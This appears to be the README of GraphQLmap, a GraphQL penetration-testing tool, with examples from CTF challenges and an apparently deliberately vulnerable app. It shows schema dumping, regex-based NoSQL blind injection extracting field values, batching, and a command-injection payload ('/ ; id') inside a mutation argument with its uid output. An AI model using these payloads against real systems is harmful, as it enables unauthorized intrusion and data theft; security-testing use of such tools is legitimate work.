```
Development setup
```ps1
python -m venv .venv
source .venv/bin/activate
pip install --editable .
pip install -r requirements.txt
./bin/graphqlmap -u http://127.0.0.1:5013/graphql
```
## Features and examples
:warning: Examples are based on several CTF challenges from HIP2019.
### Connect to a graphql endpoint
```py
# Connect using POST and providing an authentication token
graphqlmap -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}'
# Pass request through Burp Proxy
graphqlmap -u "http://172.17.0.1:5013/graphql" --proxy http://127.0.0.1:8080
```
### Dump a GraphQL schema
Use `dump_new` to dump the GraphQL schema, this function will automatically populate the "autocomplete" with the found fields.
[:movie_camera: Live Example](https://asciinema.org/a/14YuWoDOyCztlx7RFykILit4S)
```powershell
GraphQLmap > dump_new
============= [SCHEMA] ===============
e.g: name[Type]: arg (Type!)
Query
doctor[]: email (String!),
doctors[Doctor]:
patients[Patient]:
patient[]: id (ID!),
allrendezvous[Rendezvous]:
rendezvous[]: id (ID!),
Doctor
id[ID]:
firstName[String]:
lastName[String]:
specialty[String]:
patients[None]:
rendezvous[None]:
email[String]:
password[String]:
[...]
```
### Interact with a GraphQL endpoint
Write a GraphQL request and execute it.
```powershell
GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}
{
"data": {
"doctors": [
{
"firstName": "Admin",
"id": "5d089c51dcab2d0032fdd08d",
"lastName": "Admin"
}
]
}
}
```
It also works with `mutations`, they must be written in a single line.
```ps1
# ./bin/graphqlmap -u http://127.0.0.1:5013/graphql --proxy http://127.0.0.1:8080 --method POST
GraphQLmap > mutation { importPaste(host:"localhost", port:80, path:"/ ; id", scheme:"http"){ result }}
{
"data": {
"importPaste": {
"result": "uid=1000(dvga) gid=1000(dvga) groups=1000(dvga)\n"
{
{
{
```
### GraphQL field fuzzing
Use `GRAPHQL_INCREMENT` and `GRAPHQL_CHARSET` to fuzz a parameter.
[:movie_camera: Live Example](https://asciinema.org/a/ICCz3PqHVNrBf262x6tQfuwqT)
#### Example 1 - Bruteforce a character
```powershell
GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi!\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi$\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi%\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi(\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi)\"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi*\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi+\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi,\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi-\"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi.\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi/\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi0\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi1\"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi?\"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}
```
#### Example 2 - Iterate over a number
Use `GRAPHQL_INCREMENT_` followed by a number.
```powershell
GraphQLmap > { paste(pId: "GRAPHQL_INCREMENT_10") {id,title,content,public,userAgent} }
[+] Query: (45) { paste(pId: "0") {id,title,content,public,userAgent} }
[+] Query: (245) { paste(pId: "1") {id,title,content,public,userAgent} }
[+] Query: (371) { paste(pId: "2") {id,title,content,public,userAgent} }
[+] Query: (309) { paste(pId: "3") {id,title,content,public,userAgent} }
[+] Query: (311) { paste(pId: "4") {id,title,content,public,userAgent} }
[+] Query: (308) { paste(pId: "5") {id,title,content,public,userAgent} }
[+] Query: (375) { paste(pId: "6") {id,title,content,public,userAgent} }
[+] Query: (315) { paste(pId: "7") {id,title,content,public,userAgent} }
[+] Query: (336) { paste(pId: "8") {id,title,content,public,userAgent} }
[+] Query: (377) { paste(pId: "9") {id,title,content,public,userAgent} }
GraphQLmap > { paste(pId: "9") {id,title,content,public,userAgent} }
{ paste(pId: "9") {id,title,content,public,userAgent} }
{
"data": {
"paste": {
"content": "I was excited to spend time with my wife without being interrupted by kids.",
"id": "UGFzdGVPYmplY3Q6OQ==",
"public": true,
"title": "This is my first paste",
"userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
}
}
}
```
### GraphQL Batching
GraphQL supports Request Batching. Batched requests are processed one after the other by GraphQL
Use `BATCHING_PLACEHOLDER` before a query to send it multiple times inside a single request.
```ps1
GraphQLmap > BATCHING_3 {__schema{ types{namea}}}
[+] Sending a batch of 3 queries
[+] Successfully received 3 outputs
GraphQLmap > BATCHING_2 {systemUpdate}
[+] Sending a batch of 2 queries
[+] Successfully received 2 outputs
```
### NoSQLi injection
Use `BLIND_PLACEHOLDER` inside the query for the `nosqli` function.
[:movie_camera: Live Example](https://asciinema.org/a/wp2lixHqRV0pxxhZ8nsgUj6s7)
```powershell
GraphQLmap > nosqli
Query > {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}}
Check > 5d089c51dcab2d0032fdd08d
Charset > 0123456789abcdef-
[+] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3b
GraphQLmap >
```
### SQL injection
```powershell
GraphQLmap > postgresqli
GraphQLmap > mysqli
GraphQLmap > mssqli
```
## Practice

## TODO
* GraphQL Field Suggestions
* Generate mutation query
* Unit tests
* Handle node
```
{
user {
edges {
node {
username
}
}
}
}
